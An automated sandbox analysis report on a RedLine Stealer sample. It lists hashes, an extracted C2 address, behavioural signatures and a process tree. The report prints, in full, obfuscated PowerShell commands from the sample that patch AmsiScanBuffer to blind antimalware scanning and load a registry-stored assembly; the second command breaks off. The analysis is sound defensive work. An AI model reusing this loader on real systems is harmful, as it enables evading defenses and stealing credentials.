Analysis
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max time kernel
43s -
max time network
79s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2023, 19:34
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20221111-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
-
SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4244-175-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 220 created 2080 220 SmartDefRun.exe 54 PID 220 created 2080 220 SmartDefRun.exe 54 PID 220 created 2080 220 SmartDefRun.exe 54 PID 220 created 2080 220 SmartDefRun.exe 54 PID 4376 created 608 4376 powershell.EXE 1 -
Blocklisted process makes network request 1 IoCs
flow pid Process 12 4920 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1544 C4Loader.exe 3580 new2.exe 4524 SysApp.exe 220 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3540 set thread context of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 3580 set thread context of 4244 3580 new2.exe 95 PID 220 set thread context of 1364 220 SmartDefRun.exe 123 PID 4376 set thread context of 2288 4376 powershell.EXE 128 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 828 sc.exe 4620 sc.exe 756 sc.exe 3540 sc.exe 2424 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4932 3540 WerFault.exe 82 3756 3580 WerFault.exe 91 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4920 powershell.exe 4920 powershell.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4524 SysApp.exe 4244 vbc.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 3132 powershell.exe 3132 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 4176 powershell.exe 4176 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 4376 powershell.EXE 4372 powershell.EXE 4376 powershell.EXE 4372 powershell.EXE 4376 powershell.EXE 2288 dllhost.exe 2288 dllhost.exe 2288 dllhost.exe 2288 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4920 powershell.exe Token: SeDebugPrivilege 4244 vbc.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeIncreaseQuotaPrivilege 4176 powershell.exe Token: SeSecurityPrivilege 4176 powershell.exe Token: SeTakeOwnershipPrivilege 4176 powershell.exe Token: SeLoadDriverPrivilege 4176 powershell.exe Token: SeSystemProfilePrivilege 4176 powershell.exe Token: SeSystemtimePrivilege 4176 powershell.exe Token: SeProfSingleProcessPrivilege 4176 powershell.exe Token: SeIncBasePriorityPrivilege 4176 powershell.exe Token: SeCreatePagefilePrivilege 4176 powershell.exe Token: SeBackupPrivilege 4176 powershell.exe Token: SeRestorePrivilege 4176 powershell.exe Token: SeShutdownPrivilege 4176 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeSystemEnvironmentPrivilege 4176 powershell.exe Token: SeRemoteShutdownPrivilege 4176 powershell.exe Token: SeUndockPrivilege 4176 powershell.exe Token: SeManageVolumePrivilege 4176 powershell.exe Token: 33 4176 powershell.exe Token: 34 4176 powershell.exe Token: 35 4176 powershell.exe Token: 36 4176 powershell.exe Token: SeIncreaseQuotaPrivilege 4176 powershell.exe Token: SeSecurityPrivilege 4176 powershell.exe Token: SeTakeOwnershipPrivilege 4176 powershell.exe Token: SeLoadDriverPrivilege 4176 powershell.exe Token: SeSystemProfilePrivilege 4176 powershell.exe Token: SeSystemtimePrivilege 4176 powershell.exe Token: SeProfSingleProcessPrivilege 4176 powershell.exe Token: SeIncBasePriorityPrivilege 4176 powershell.exe Token: SeCreatePagefilePrivilege 4176 powershell.exe Token: SeBackupPrivilege 4176 powershell.exe Token: SeRestorePrivilege 4176 powershell.exe Token: SeShutdownPrivilege 4176 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeSystemEnvironmentPrivilege 4176 powershell.exe Token: SeRemoteShutdownPrivilege 4176 powershell.exe Token: SeUndockPrivilege 4176 powershell.exe Token: SeManageVolumePrivilege 4176 powershell.exe Token: 33 4176 powershell.exe Token: 34 4176 powershell.exe Token: 35 4176 powershell.exe Token: 36 4176 powershell.exe Token: SeIncreaseQuotaPrivilege 4176 powershell.exe Token: SeSecurityPrivilege 4176 powershell.exe Token: SeTakeOwnershipPrivilege 4176 powershell.exe Token: SeLoadDriverPrivilege 4176 powershell.exe Token: SeSystemProfilePrivilege 4176 powershell.exe Token: SeSystemtimePrivilege 4176 powershell.exe Token: SeProfSingleProcessPrivilege 4176 powershell.exe Token: SeIncBasePriorityPrivilege 4176 powershell.exe Token: SeCreatePagefilePrivilege 4176 powershell.exe Token: SeBackupPrivilege 4176 powershell.exe Token: SeRestorePrivilege 4176 powershell.exe Token: SeShutdownPrivilege 4176 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeSystemEnvironmentPrivilege 4176 powershell.exe Token: SeRemoteShutdownPrivilege 4176 powershell.exe Token: SeUndockPrivilege 4176 powershell.exe Token: SeManageVolumePrivilege 4176 powershell.exe Token: 33 4176 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3540 wrote to memory of 916 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 3540 wrote to memory of 916 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 3540 wrote to memory of 916 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 3540 wrote to memory of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 3540 wrote to memory of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 3540 wrote to memory of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 3540 wrote to memory of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 3540 wrote to memory of 960 3540 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 85 PID 960 wrote to memory of 4920 960 vbc.exe 88 PID 960 wrote to memory of 4920 960 vbc.exe 88 PID 960 wrote to memory of 4920 960 vbc.exe 88 PID 4920 wrote to memory of 1544 4920 powershell.exe 90 PID 4920 wrote to memory of 1544 4920 powershell.exe 90 PID 4920 wrote to memory of 1544 4920 powershell.exe 90 PID 4920 wrote to memory of 3580 4920 powershell.exe 91 PID 4920 wrote to memory of 3580 4920 powershell.exe 91 PID 4920 wrote to memory of 3580 4920 powershell.exe 91 PID 4920 wrote to memory of 4524 4920 powershell.exe 93 PID 4920 wrote to memory of 4524 4920 powershell.exe 93 PID 4920 wrote to memory of 4524 4920 powershell.exe 93 PID 4920 wrote to memory of 220 4920 powershell.exe 94 PID 4920 wrote to memory of 220 4920 powershell.exe 94 PID 3580 wrote to memory of 4244 3580 new2.exe 95 PID 3580 wrote to memory of 4244 3580 new2.exe 95 PID 3580 wrote to memory of 4244 3580 new2.exe 95 PID 3580 wrote to memory of 4244 3580 new2.exe 95 PID 3580 wrote to memory of 4244 3580 new2.exe 95 PID 3280 wrote to memory of 828 3280 cmd.exe 112 PID 3280 wrote to memory of 828 3280 cmd.exe 112 PID 3280 wrote to memory of 4620 3280 cmd.exe 113 PID 3280 wrote to memory of 4620 3280 cmd.exe 113 PID 3280 wrote to memory of 756 3280 cmd.exe 114 PID 3280 wrote to memory of 756 3280 cmd.exe 114 PID 3280 wrote to memory of 3540 3280 cmd.exe 115 PID 3280 wrote to memory of 3540 3280 cmd.exe 115 PID 3280 wrote to memory of 2424 3280 cmd.exe 116 PID 3280 wrote to memory of 2424 3280 cmd.exe 116 PID 3280 wrote to memory of 1668 3280 cmd.exe 117 PID 3280 wrote to memory of 1668 3280 cmd.exe 117 PID 3280 wrote to memory of 2452 3280 cmd.exe 118 PID 3280 wrote to memory of 2452 3280 cmd.exe 118 PID 3280 wrote to memory of 2868 3280 cmd.exe 119 PID 3280 wrote to memory of 2868 3280 cmd.exe 119 PID 3280 wrote to memory of 5012 3280 cmd.exe 120 PID 3280 wrote to memory of 5012 3280 cmd.exe 120 PID 3280 wrote to memory of 3108 3280 cmd.exe 121 PID 3280 wrote to memory of 3108 3280 cmd.exe 121 PID 220 wrote to memory of 1364 220 SmartDefRun.exe 123 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 4376 wrote to memory of 2288 4376 powershell.EXE 128 PID 2288 wrote to memory of 608 2288 dllhost.exe 1 PID 2288 wrote to memory of 672 2288 dllhost.exe 6 PID 2288 wrote to memory of 952 2288 dllhost.exe 11 PID 2288 wrote to memory of 1020 2288 dllhost.exe 9 PID 2288 wrote to memory of 432 2288 dllhost.exe 10 PID 2288 wrote to memory of 720 2288 dllhost.exe 15 PID 2288 wrote to memory of 1032 2288 dllhost.exe 17
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:608
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9cda0e50-e59f-4be3-8b4f-ecda256ba140}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2288
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1132
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:WVZxUXqCxdNj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wslUzQeqlKYexR,[Parameter(Position=1)][Type]$DazhDiMeEb)$wyLDzePOzco=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'fl'+[Char](101)+''+[Char](99)+''+'t'+''+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+'ub'+'l'+''+[Char](105)+'c,'+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$wyLDzePOzco.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+'pec'+'i'+'al'+'N'+''+[Char](97)+''+'m'+'e,H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$wslUzQeqlKYexR).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');$wyLDzePOzco.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic,'+[Char](72)+''+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+[Char](44)+'Vi'+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$DazhDiMeEb,$wslUzQeqlKYexR).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $wyLDzePOzco.CreateType();}$gOmFWbaQzouev=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'st'+[Char](101)+'m.'+[Char](100)+'ll')}).GetType(''+[Char](77)+'icro'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+'W'+'i'+'n'+'3'+[Char](50)+''+'.'+'U'+[Char](110)+'s'+[Char](97)+'fe'+[Char](103)+''+[Char](79)+''+[Char](109)+'FW'+[Char](98)+''+'a'+''+[Char](81)+''+'z'+''+[Char](111)+''+[Char](117)+''+[Char](101)+''+[Char](118)+'');$HbtIWTAdsyMAUl=$gOmFWbaQzouev.GetMethod(''+[Char](72)+''+'b'+'t'+[Char](73)+''+[Char](87)+''+[Char](84)+''+[Char](65)+''+[Char](100)+''+'s'+''+[Char](121)+'M'+'A'+''+[Char](85)+''+'l'+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$emblSsFTfchOGIWwykJ=WVZxUXqCxdNj @([String])([IntPtr]);$AtXlNeolxLOxyJZJZcaGjg=WVZxUXqCxdNj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aWBsQEImfXI=$gOmFWbaQzouev.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$JGiAjqGDCifecW=$HbtIWTAdsyMAUl.Invoke($Null,@([Object]$aWBsQEImfXI,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$WzEQpUpwcgCUGDUNh=$HbtIWTAdsyMAUl.Invoke($Null,@([Object]$aWBsQEImfXI,[Object](''+[Char](86)+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'ro'+[Char](116)+'e'+'c'+''+[Char](116)+'')));$haFIqzY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JGiAjqGDCifecW,$emblSsFTfchOGIWwykJ).Invoke(''+'a'+'msi.'+[Char](100)+''+'l'+'l');$IVUzaZsjRyLRBbzEc=$HbtIWTAdsyMAUl.Invoke($Null,@([Object]$haFIqzY,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'uf'+[Char](102)+''+[Char](101)+'r')));$VmKXJULJkZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WzEQpUpwcgCUGDUNh,$AtXlNeolxLOxyJZJZcaGjg).Invoke($IVUzaZsjRyLRBbzEc,[uint32]8,4,[ref]$VmKXJULJkZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$IVUzaZsjRyLRBbzEc,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WzEQpUpwcgCUGDUNh,$AtXlNeolxLOxyJZJZcaGjg).Invoke($IVUzaZsjRyLRBbzEc,[uint32]8,0x20,[ref]$VmKXJULJkZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+'W'+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4372
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZDoRSqLTwuVI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TmjxVXisrQLHDV,[Parameter(Position=1)][Type]$ALqBgJofQv)$EleTVnXwjlH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+'l'+''+'e'+''+'c'+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'emo'+[Char](114)+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'De'+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+'e'+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+'la'+[Char](115)+''+[Char](115)+',Pu'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+[Char](115)+'s,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'Cl'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$EleTVnXwjlH.DefineConstructor('R'+'T'+''+'S'+'p'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+'e'+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+[Char](66)+'yS'+'i'+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.C